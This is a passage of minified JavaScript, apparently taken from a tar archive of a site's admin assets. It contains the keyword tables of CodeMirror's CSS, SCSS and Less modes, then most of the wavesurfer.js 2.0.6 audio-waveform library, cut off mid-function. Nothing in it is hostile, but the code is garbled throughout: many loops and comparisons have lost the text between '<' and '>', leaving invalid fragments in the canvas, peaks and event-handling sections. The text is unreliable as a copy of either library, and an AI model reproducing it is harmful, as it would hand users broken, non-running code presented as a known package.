d-area","grid-auto-columns","grid-auto-flow","grid-auto-rows","grid-column","grid-column-end","grid-column-gap","grid-column-start","grid-gap","grid-row","grid-row-end","grid-row-gap","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","justify-items","justify-self","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","place-content","place-items","place-self","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","user-select","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","will-change","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],d=e(c),p=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],u=e(p),m=e(["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"]),h=e(["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"]),g=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],b=e(g),f=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","auto-flow","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","color","color-burn","color-dodge","column","column-reverse","compact","condensed","contain","content","contents","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","darken","dashed","decimal","decimal-leading-zero","default","default-button","dense","destination-atop","destination-in","destination-out","destination-over","devanagari","difference","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","exclusion","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","flex-end","flex-start","footnotes","forwards","from","geometricPrecision","georgian","graytext","grid","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hard-light","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","hue","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-grid","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","lighten","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","luminosity","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","multiply","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","opacity","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row","row-resize","row-reverse","rtl","run-in","running","s-resize","sans-serif","saturation","scale","scale3d","scaleX","scaleY","scaleZ","screen","scroll","scrollbar","scroll-position","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","self-start","self-end","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","soft-light","solid","somali","source-atop","source-in","source-out","source-over","space","space-around","space-between","space-evenly","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","system-ui","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","transform","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","unset","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","wrap","wrap-reverse","x-large","x-small","xor","xx-large","xx-small"],y=e(f),w=t.concat(o).concat(a).concat(l).concat(c).concat(p).concat(g).concat(f);function k(e,t){for(var r,o=!1;null!=(r=e.next());){if(o&&"/"==r){t.tokenize=null;break}o="*"==r}return["comment","comment"]}T.registerHelper("hintWords","css",w),T.defineMIME("text/css",{documentTypes:r,mediaTypes:i,mediaFeatures:n,mediaValueKeywords:s,propertyKeywords:d,nonStandardPropertyKeywords:u,fontProperties:m,counterDescriptors:h,colorKeywords:b,valueKeywords:y,tokenHooks:{"/":function(e,t){return!!e.eat("*")&&(t.tokenize=k)(e,t)}},name:"css"}),T.defineMIME("text/x-scss",{mediaTypes:i,mediaFeatures:n,mediaValueKeywords:s,propertyKeywords:d,nonStandardPropertyKeywords:u,colorKeywords:b,valueKeywords:y,fontProperties:m,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(e,t){return e.eat("/")?(e.skipToEnd(),["comment","comment"]):e.eat("*")?(t.tokenize=k)(e,t):["operator","operator"]},":":function(e){return!!e.match(/\s*\{/,!1)&&[null,null]},$:function(e){return e.match(/^[\w-]+/),e.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"#":function(e){return!!e.eat("{")&&[null,"interpolation"]}},name:"css",helperType:"scss"}),T.defineMIME("text/x-less",{mediaTypes:i,mediaFeatures:n,mediaValueKeywords:s,propertyKeywords:d,nonStandardPropertyKeywords:u,colorKeywords:b,valueKeywords:y,fontProperties:m,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(e,t){return e.eat("/")?(e.skipToEnd(),["comment","comment"]):e.eat("*")?(t.tokenize=k)(e,t):["operator","operator"]},"@":function(e){return e.eat("{")?[null,"interpolation"]:!e.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/i,!1)&&(e.eatWhile(/[\w\\\-]/),e.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"])},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"}),T.defineMIME("text/x-gss",{documentTypes:r,mediaTypes:i,mediaFeatures:n,propertyKeywords:d,nonStandardPropertyKeywords:u,fontProperties:m,counterDescriptors:h,colorKeywords:b,valueKeywords:y,supportsAtComponent:!0,tokenHooks:{"/":function(e,t){return!!e.eat("*")&&(t.tokenize=k)(e,t)}},name:"css",helperType:"gss"})});admin/assets/js/plugins/wavesurfer.js000060400000173361151724235750014004 0ustar00 /*! * wavesurfer.js 2.0.6 (Fri Jun 15 2018 10:57:58 GMT+0200 (CEST)) * https://github.com/katspaugh/wavesurfer.js * @license BSD-3-Clause */ !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("WaveSurfer",[],t):"object"==typeof exports?exports.WaveSurfer=t():e.WaveSurfer=t()}(window,function(){return function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)r.d(n,i,function(t){return e[t]}.bind(null,i));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="",r(r.s=17)}([function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=r(16);Object.defineProperty(t,"ajax",{enumerable:!0,get:function(){return p(n).default}});var i=r(15);Object.defineProperty(t,"getId",{enumerable:!0,get:function(){return p(i).default}});var a=r(14);Object.defineProperty(t,"max",{enumerable:!0,get:function(){return p(a).default}});var s=r(13);Object.defineProperty(t,"min",{enumerable:!0,get:function(){return p(s).default}});var o=r(3);Object.defineProperty(t,"Observer",{enumerable:!0,get:function(){return p(o).default}});var u=r(12);Object.defineProperty(t,"extend",{enumerable:!0,get:function(){return p(u).default}});var l=r(11);Object.defineProperty(t,"style",{enumerable:!0,get:function(){return p(l).default}});var c=r(2);Object.defineProperty(t,"requestAnimationFrame",{enumerable:!0,get:function(){return p(c).default}});var h=r(10);Object.defineProperty(t,"frame",{enumerable:!0,get:function(){return p(h).default}});var f=r(9);Object.defineProperty(t,"debounce",{enumerable:!0,get:function(){return p(f).default}});var d=r(8);function p(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(t,"preventClick",{enumerable:!0,get:function(){return p(d).default}})},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r=e.getDuration()?(e.setState(u),e.fireEvent("pause")):t>=e.scheduledPause?e.pause():e.state===e.states[s]&&e.fireEvent("audioprocess",t)}}},{key:"removeOnAudioProcess",value:function(){this.scriptNode.onaudioprocess=null}},{key:"createAnalyserNode",value:function(){this.analyser=this.ac.createAnalyser(),this.analyser.connect(this.gainNode)}},{key:"createVolumeNode",value:function(){this.ac.createGain?this.gainNode=this.ac.createGain():this.gainNode=this.ac.createGainNode(),this.gainNode.connect(this.ac.destination)}},{key:"setSinkId",value:function(e){if(e){var t=new window.Audio;if(!t.setSinkId)return Promise.reject(new Error("setSinkId is not supported in your browser"));t.autoplay=!0;var r=this.ac.createMediaStreamDestination();return this.gainNode.disconnect(),this.gainNode.connect(r),t.src=URL.createObjectURL(r.stream),t.setSinkId(e)}return Promise.reject(new Error("Invalid deviceId: "+e))}},{key:"setVolume",value:function(e){this.gainNode.gain.setValueAtTime(e,this.ac.currentTime)}},{key:"getVolume",value:function(){return this.gainNode.gain.value}},{key:"decodeArrayBuffer",value:function(e,t,r){this.offlineAc||(this.offlineAc=this.getOfflineAudioContext(this.ac?this.ac.sampleRate:44100)),this.offlineAc.decodeAudioData(e,function(e){return t(e)},r)}},{key:"setPeaks",value:function(e,t){this.explicitDuration=t,this.peaks=e}},{key:"setLength",value:function(e){if(!this.mergedPeaks||e!=2*this.mergedPeaks.length-1+2){this.splitPeaks=[],this.mergedPeaks=[];var t=this.buffer?this.buffer.numberOfChannels:1,r=void 0;for(r=0;rp&&(p=y),ythis.mergedPeaks[2*c])&&(this.mergedPeaks[2*c]=p),(0==o||d=this.getDuration()&&(e=0),null==t&&(t=this.getDuration()),this.startPosition=e,this.lastPlay=this.ac.currentTime,this.state===this.states[u]&&this.setState(o),{start:e,end:t}}},{key:"getPlayedTime",value:function(){return(this.ac.currentTime-this.lastPlay)*this.playbackRate}},{key:"play",value:function(e,t){if(this.buffer){this.createSource();var r=this.seekTo(e,t);e=r.start,t=r.end,this.scheduledPause=t,this.source.start(0,e,t-e),"suspended"==this.ac.state&&this.ac.resume&&this.ac.resume(),this.setState(s),this.fireEvent("play")}}},{key:"pause",value:function(){this.scheduledPause=null,this.startPosition+=this.getPlayedTime(),this.source&&this.source.stop(0),this.setState(o),this.fireEvent("pause")}},{key:"getCurrentTime",value:function(){return this.state.getCurrentTime.call(this)}},{key:"getPlaybackRate",value:function(){return this.playbackRate}},{key:"setPlaybackRate",value:function(e){e=e||1,this.isPaused()?this.playbackRate=e:(this.pause(),this.playbackRate=e,this.play())}}]),t}();l.scriptBufferSize=256,t.default=l,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=(window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e,t){return setTimeout(e,1e3/60)}).bind(window),e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r=0;n--)r[n]==t&&r.splice(n,1);else r.length=0}}},{key:"unAll",value:function(){this.handlers=null}},{key:"once",value:function(e,t){var r=this;return this.on(e,function n(){for(var i=arguments.length,a=Array(i),s=0;s1?t-1:0),n=1;n=1/0&&(e=this.media.seekable.end(0)),e}},{key:"getCurrentTime",value:function(){return this.media&&this.media.currentTime}},{key:"getPlayedPercents",value:function(){return this.getCurrentTime()/this.getDuration()||0}},{key:"getPlaybackRate",value:function(){return this.playbackRate||this.media.playbackRate}},{key:"setPlaybackRate",value:function(e){this.playbackRate=e||1,this.media.playbackRate=this.playbackRate}},{key:"seekTo",value:function(e){null!=e&&(this.media.currentTime=e),this.clearPlayEnd()}},{key:"play",value:function(e,t){this.seekTo(e);var r=this.media.play();return t&&this.setPlayEnd(t),r}},{key:"pause",value:function(){var e=void 0;return this.media&&(e=this.media.pause()),this.clearPlayEnd(),e}},{key:"setPlayEnd",value:function(e){var t=this;this._onPlayEnd=function(r){r>=e&&(t.pause(),t.seekTo(e))},this.on("audioprocess",this._onPlayEnd)}},{key:"clearPlayEnd",value:function(){this._onPlayEnd&&(this.un("audioprocess",this._onPlayEnd),this._onPlayEnd=null)}},{key:"getPeaks",value:function(e,r,n){return this.buffer?function e(t,r,n){null===t&&(t=Function.prototype);var i=Object.getOwnPropertyDescriptor(t,r);if(void 0===i){var a=Object.getPrototypeOf(t);return null===a?void 0:e(a,r,n)}if("value"in i)return i.value;var s=i.get;return void 0!==s?s.call(n):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"getPeaks",this).call(this,e,r,n):this.peaks||[]}},{key:"setSinkId",value:function(e){return e?this.media.setSinkId?this.media.setSinkId(e):Promise.reject(new Error("setSinkId is not supported in your browser")):Promise.reject(new Error("Invalid deviceId: "+e))}},{key:"getVolume",value:function(){return this.volume||this.media.volume}},{key:"setVolume",value:function(e){this.volume=e,this.media.volume=this.volume}},{key:"destroy",value:function(){this.pause(),this.unAll(),this.params.removeMediaElementOnDestroy&&this.media&&this.media.parentNode&&this.media.parentNode.removeChild(this.media),this.media=null}}]),t}();t.default=o,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r1&&(s=1):s=(r-n.left+this.wrapper.scrollLeft)/this.wrapper.scrollWidth||0,s}},{key:"setupWrapperEvents",value:function(){var e=this;this.wrapper.addEventListener("click",function(t){var r=e.wrapper.offsetHeight-e.wrapper.clientHeight;if(0!=r){var n=e.wrapper.getBoundingClientRect();if(t.clientY>=n.bottom-r)return}e.params.interact&&e.fireEvent("click",t,e.handleEvent(t))}),this.wrapper.addEventListener("scroll",function(t){return e.fireEvent("scroll",t)})}},{key:"drawPeaks",value:function(e,t,r,n){this.setWidth(t)||this.clearWave(),this.params.barWidth?this.drawBars(e,0,r,n):this.drawWave(e,0,r,n)}},{key:"resetScroll",value:function(){null!==this.wrapper&&(this.wrapper.scrollLeft=0)}},{key:"recenter",value:function(e){var t=this.wrapper.scrollWidth*e;this.recenterOnPosition(t,!0)}},{key:"recenterOnPosition",value:function(e,t){var r=this.wrapper.scrollLeft,n=~~(this.wrapper.clientWidth/2),i=this.wrapper.scrollWidth-this.wrapper.clientWidth,a=e-n,s=a-r;if(0!=i){if(!t&&-n<=s&&s=t){if(this.lastPos=r,this.params.scrollParent&&this.params.autoCenter){var n=~~(this.wrapper.scrollWidth*e);this.recenterOnPosition(n)}this.updateProgress(r)}}},{key:"destroy",value:function(){this.unAll(),this.wrapper&&(this.wrapper.parentNode==this.container&&this.container.removeChild(this.wrapper),this.wrapper=null)}},{key:"updateCursor",value:function(){}},{key:"updateSize",value:function(){}},{key:"drawBars",value:function(e,t,r,n){}},{key:"drawWave",value:function(e,t,r,n){}},{key:"clearWave",value:function(){}},{key:"updateProgress",value:function(e){}}]),t}();t.default=a,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n,i=function(){function e(e,t){for(var r=0;rr;)this.removeCanvas();this.canvases.forEach(function(t,r){var n=e.maxCanvasWidth+2*Math.ceil(e.params.pixelRatio/2);r==e.canvases.length-1&&(n=e.width-e.maxCanvasWidth*(e.canvases.length-1)),e.updateDimensions(t,n,e.height),e.clearWaveForEntry(t)})}},{key:"addCanvas",value:function(){var e={},t=this.maxCanvasElementWidth*this.canvases.length;e.wave=this.wrapper.appendChild(this.style(document.createElement("canvas"),{position:"absolute",zIndex:2,left:t+"px",top:0,bottom:0,height:"100%",pointerEvents:"none"})),e.waveCtx=e.wave.getContext("2d"),this.hasProgressCanvas&&(e.progress=this.progressWave.appendChild(this.style(document.createElement("canvas"),{position:"absolute",left:t+"px",top:0,bottom:0,height:"100%"})),e.progressCtx=e.progress.getContext("2d")),this.canvases.push(e)}},{key:"removeCanvas",value:function(){var e=this.canvases.pop();e.wave.parentElement.removeChild(e.wave),this.hasProgressCanvas&&e.progress.parentElement.removeChild(e.progress)}},{key:"updateDimensions",value:function(e,t,r){var n=Math.round(t/this.params.pixelRatio),i=Math.round(this.width/this.params.pixelRatio);e.start=e.waveCtx.canvas.offsetLeft/i||0,e.end=e.start+n/i,e.waveCtx.canvas.width=t,e.waveCtx.canvas.height=r,this.style(e.waveCtx.canvas,{width:n+"px"}),this.style(this.progressWave,{display:"block"}),this.hasProgressCanvas&&(e.progressCtx.canvas.width=t,e.progressCtx.canvas.height=r,this.style(e.progressCtx.canvas,{width:n+"px"}))}},{key:"clearWave",value:function(){var e=this;this.canvases.forEach(function(t){return e.clearWaveForEntry(t)})}},{key:"clearWaveForEntry",value:function(e){e.waveCtx.clearRect(0,0,e.waveCtx.canvas.width,e.waveCtx.canvas.height),this.hasProgressCanvas&&e.progressCtx.clearRect(0,0,e.progressCtx.canvas.width,e.progressCtx.canvas.height)}},{key:"drawBars",value:function(e,t,r,n){var i=this;return this.prepareDraw(e,t,r,n,function(e){var t=e.absmax,a=e.hasMinVals,s=(e.height,e.offsetY),o=e.halfH,u=e.peaks;if(void 0!==r){var l=a?2:1,c=u.length/l,h=i.params.barWidth*i.params.pixelRatio,f=h+(null===i.params.barGap?Math.max(i.params.pixelRatio,~~(h/2)):Math.max(i.params.pixelRatio,i.params.barGap*i.params.pixelRatio)),d=c/i.width,p=n,v=void 0;for(v=r;vo||h=f;v--){var k=r[2*v+1]||0,g=Math.round(k/n*i);t.lineTo((v-c)*l+this.halfPixel,i-g+a)}t.closePath(),t.fill()}}}},{key:"fillRect",value:function(e,t,r,n){var i=Math.floor(e/this.maxCanvasWidth),a=Math.min(Math.ceil((e+r)/this.maxCanvasWidth)+1,this.canvases.length),s=void 0;for(s=i;sl?-c:l}var h=[].some.call(e,function(e){return e<0}),f=a.params.height*a.params.pixelRatio;return i({absmax:u,hasMinVals:h,height:f,offsetY:f*t||0,halfH:f/2,peaks:e})})()}},{key:"fillRectToContext",value:function(e,t,r,n,i){e&&e.fillRect(t,r,n,i)}},{key:"setFillStyles",value:function(e){e.waveCtx.fillStyle=this.params.waveColor,this.hasProgressCanvas&&(e.progressCtx.fillStyle=this.params.progressColor)}},{key:"getImage",value:function(e,t){var r=this.canvases.map(function(r){return r.wave.toDataURL(e,t)});return r.length>1?r:r[0]}},{key:"updateProgress",value:function(e){this.style(this.progressWave,{width:e+"px"})}}]),t}();t.default=u,e.exports=t.default},function(e,t,r){"use strict";function n(e){e.stopPropagation(),document.body.removeEventListener("click",n,!0)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){document.body.addEventListener("click",n,!0)},e.exports=t.default},function(e,t){e.exports=function(e,t,r){var n,i,a,s,o;function u(){var l=Date.now()-s;l=0?n=setTimeout(u,t-l):(n=null,r||(o=e.apply(a,i),a=i=null))}null==t&&(t=100);var l=function(){a=this,i=arguments,s=Date.now();var l=r&&!n;return n||(n=setTimeout(u,t)),l&&(o=e.apply(a,i),a=i=null),o};return l.clear=function(){n&&(clearTimeout(n),n=null)},l.flush=function(){n&&(o=e.apply(a,i),a=i=null,clearTimeout(n),n=null)},l}},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return function(){for(var t=arguments.length,r=Array(t),n=0;n1?t-1:0),n=1;nt&&(t=e[r])}),t},e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){return"wavesurfer_"+Math.random().toString(32).substring(2)},e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=new a.default,r=new XMLHttpRequest,n=!1;r.open(e.method||"GET",e.url,!0),r.responseType=e.responseType||"json",e.xhr&&(e.xhr.requestHeaders&&e.xhr.requestHeaders.forEach(function(e){r.setRequestHeader(e.key,e.value)}),e.xhr.withCredentials&&(r.withCredentials=!0));return r.addEventListener("progress",function(e){t.fireEvent("progress",e),e.lengthComputable&&e.loaded==e.total&&(n=!0)}),r.addEventListener("load",function(e){n||t.fireEvent("progress",e),t.fireEvent("load",e),200==r.status||206==r.status?t.fireEvent("success",r.response,e):t.fireEvent("error",e)}),r.addEventListener("error",function(e){return t.fireEvent("error",e)}),r.send(),t.xhr=r,t};var n,i=r(3),a=(n=i)&&n.__esModule?n:{default:n};e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r=this.getDuration()?this.seekTo(1):this.seekTo(e/this.getDuration())}},{key:"play",value:function(e,t){var r=this;return this.fireEvent("interaction",function(){return r.play(e,t)}),this.backend.play(e,t)}},{key:"pause",value:function(){if(!this.backend.isPaused())return this.backend.pause()}},{key:"playPause",value:function(){return this.backend.isPaused()?this.play():this.pause()}},{key:"isPlaying",value:function(){return!this.backend.isPaused()}},{key:"skipBackward",value:function(e){this.skip(-e||-this.params.skipLength)}},{key:"skipForward",value:function(e){this.skip(e||this.params.skipLength)}},{key:"skip",value:function(e){var t=this.getDuration()||1,r=this.getCurrentTime()||0;r=Math.max(0,Math.min(t,r+(e||0))),this.seekAndCenter(r/t)}},{key:"seekAndCenter",value:function(e){this.seekTo(e),this.drawer.recenter(e)}},{key:"seekTo",value:function(e){var t=this;if("number"!=typeof e||!isFinite(e)||e<0||e>1)return console.error("Error calling wavesurfer.seekTo, parameter must be a number between 0 and 1!");this.fireEvent("interaction",function(){return t.seekTo(e)});var r=this.backend.isPaused();r||this.backend.pause();var n=this.params.scrollParent;this.params.scrollParent=!1,this.backend.seekTo(e*this.getDuration()),this.drawer.progress(e),r||this.backend.play(),this.params.scrollParent=n,this.fireEvent("seek",e)}},{key:"stop",value:function(){this.pause(),this.seekTo(0),this.drawer.progress(0)}},{key:"setSinkId",value:function(e){return this.backend.setSinkId(e)}},{key:"setVolume",value:function(e){this.backend.setVolume(e),this.fireEvent("volume",e)}},{key:"getVolume",value:function(){return this.backend.getVolume()}},{key:"setPlaybackRate",value:function(e){this.backend.setPlaybackRate(e)}},{key:"getPlaybackRate",value:function(){return this.backend.getPlaybackRate()}},{key:"toggleMute",value:function(){this.setMute(!this.isMuted)}},{key:"setMute",value:function(e){e!==this.isMuted?(e?(this.savedVolume=this.backend.getVolume(),this.backend.setVolume(0),this.isMuted=!0,this.fireEvent("volume",0)):(this.backend.setVolume(this.savedVolume),this.isMuted=!1,this.fireEvent("volume",this.savedVolume)),this.fireEvent("mute",this.isMuted)):this.fireEvent("mute",this.isMuted)}},{key:"getMute",value:function(){return this.isMuted}},{key:"isReady",value:function(){return this.isReady}},{key:"getFilters",value:function(){return this.backend.filters||[]}},{key:"toggleScroll",value:function(){this.params.scrollParent=!this.params.scrollParent,this.drawBuffer()}},{key:"toggleInteraction",value:function(){this.params.interact=!this.params.interact}},{key:"getWaveColor",value:function(){return this.params.waveColor}},{key:"setWaveColor",value:function(e){this.params.waveColor=e,this.drawBuffer()}},{key:"getProgressColor",value:function(){return 